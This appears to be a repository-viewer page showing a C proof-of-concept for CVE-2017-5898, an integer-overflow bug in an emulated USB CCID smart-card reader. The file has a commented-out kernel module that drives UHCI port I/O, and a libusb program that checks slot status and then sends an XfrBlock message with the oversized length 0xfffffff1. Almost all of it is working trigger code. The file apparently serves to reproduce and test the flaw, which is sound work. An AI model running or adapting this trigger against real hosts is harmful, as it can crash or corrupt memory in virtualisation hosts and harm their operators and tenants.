summaryrefslogtreecommitdiffstats
path: root/cve-2017-5898.c
blob: 3484bc5154e49665e15d72570a4714c24cfa48c1 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
/*
 * kernel module poc by liqiang6-s@360.cn
 *

#include <linux/module.h>
#include <linux/init.h>
#include <asm/io.h>
#include <linux/mm.h>
#include <linux/slab.h>


struct ccid_header
{
	unsigned char bMessageType;
	unsigned int dwLength;
	unsigned char bSlot;
	unsigned char bSeq;
}__attribute__((packed));

struct xferblcok
{
	struct ccid_header hdr;
	unsigned char bBWI;
	unsigned short wLevelParameter;
	unsigned char abData[0];
}__attribute__((packed));
struct UHCI_TD
{
	unsigned int link;
	unsigned int ctrl;
	unsigned int token;
	unsigned int buffer;
};

int init_module(void)
{
	unsigned char *tdbuf = kmalloc(4096,GFP_KERNEL);
	unsigned char *link = kmalloc(4096,GFP_KERNEL);
	unsigned char *ccid = kmalloc(4096,GFP_KERNEL);
	unsigned long long ptd = virt_to_phys(tdbuf);
	unsigned long long plink = virt_to_phys(link);
	unsigned long long pccid = virt_to_phys(ccid);
	struct xferblcok *ccheader = (struct xferblcok*)ccid;
	*(unsigned int*)link = ptd;
	struct UHCI_TD *td = (struct UHCI_TD*)tdbuf;
	memset(ccid,0,4096);
	ccheader->hdr.bMessageType = 0x6f;
	ccheader->hdr.dwLength = 0xfffffff1;

	td->ctrl = 1 << 23;
	td->token = 0xe1 | 30 << 21 | 2 << 15;
	td->buffer = pccid;
	outw(2,0xc040);
	outw(0,0xc040+6);

	outw(plink & 0xffff,0xc040+0x8);
	outw((plink >> 16) & 0xffff,0xc040+0xa);
	outw(4,0xc040+0x10);
	outw(1,0xc040);

	return 0;
}

void cleanup_module(void)
{
}

 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#include "usb.h"

#define CCID_MAX_PACKET_SIZE                64

/*
 * BULK_OUT messages from PC to Reader
 * Defined in CCID Rev 1.1 6.1 (page 26)
 */
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn              0x62
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff             0x63
#define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus           0x65
#define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock                0x6f
#define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters           0x6c
#define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters         0x6d
#define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters           0x61
#define CCID_MESSAGE_TYPE_PC_to_RDR_Escape                  0x6b
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock                0x6e
#define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU                  0x6a
#define CCID_MESSAGE_TYPE_PC_to_RDR_Secure                  0x69
#define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical              0x71
#define CCID_MESSAGE_TYPE_PC_to_RDR_Abort                   0x72
#define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73

/*
 * BULK_IN messages from Reader to PC
 * Defined in CCID Rev 1.1 6.2 (page 48)
 */
#define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock               0x80
#define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus              0x81
#define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters              0x82
#define CCID_MESSAGE_TYPE_RDR_to_PC_Escape                  0x83
#define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84

/*
 * INTERRUPT_IN messages from Reader to PC
 * Defined in CCID Rev 1.1 6.3 (page 56)
 */
#define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange        0x50
#define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError           0x51

/*
 * Endpoints for CCID - addresses are up to us to decide.
 * To support slot insertion and removal we must have an interrupt in ep
 * in addition we need a bulk in and bulk out ep
 * 5.2, page 20
 */
#define CCID_INT_IN_EP       (1 | 0x80)
#define CCID_BULK_IN_EP      (2 | 0x80)
#define CCID_BULK_OUT_EP     (3)

typedef struct __attribute__((packed)) CCID_Header {
    uint8_t     bMessageType;
    uint32_t    dwLength;
    uint8_t     bSlot;
    uint8_t     bSeq;
} CCID_Header;

typedef struct __attribute__((packed)) CCID_BULK_IN {
    CCID_Header hdr;
    uint8_t     bStatus;        /* Only used in BULK_IN */
    uint8_t     bError;         /* Only used in BULK_IN */
} CCID_BULK_IN;

typedef struct __attribute__((packed)) CCID_SlotStatus {
    CCID_BULK_IN b;
    uint8_t     bClockStatus;
} CCID_SlotStatus;

int main(int argc, char *argv[])
{
    int len, xfered, rc;
    uint8_t buf[CCID_MAX_PACKET_SIZE];
    CCID_Header *hdr = (void*)&buf;
    CCID_SlotStatus *slot = (void*)&buf;

    find_device("smartcard reader", 0x08e6, 0x4433);
    fprintf(stderr, "init ok\n");
    sleep(1);

    /* ------------------------------------------------------------ */

    fprintf(stderr, "checking slot status ...\n");
    memset(buf, 0, sizeof(buf));
    hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus;
    len = 10;
    rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000);
    if (rc != 0) {
        fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
        exit(1);
    }
    fprintf(stderr, "slot-status out %d/%d\n", xfered, len);

    memset(buf, 0, sizeof(buf));
    len = sizeof(CCID_SlotStatus);
    rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000);
    if (rc != 0) {
        fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
        exit(1);
    }
    fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
    fprintf(stderr, "status: 0x%x, error: 0x%x\n",
            slot->b.bStatus, slot->b.bError);
    if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) {
    fprintf(stderr, "bad slot status (no card?)\n");
        exit(1);
    }
    fprintf(stderr, "... ok\n");

    /* ------------------------------------------------------------ */

    fprintf(stderr, "sending invalid request\n");
    memset(buf, 0, sizeof(buf));
    hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock;
    hdr->dwLength = 0xfffffff1;
    rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
                              buf, 42, &xfered, 1000);
    if (rc != 0) {
        fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
        exit(1);
    }
    fprintf(stderr, "done\n");

    exit(0);
}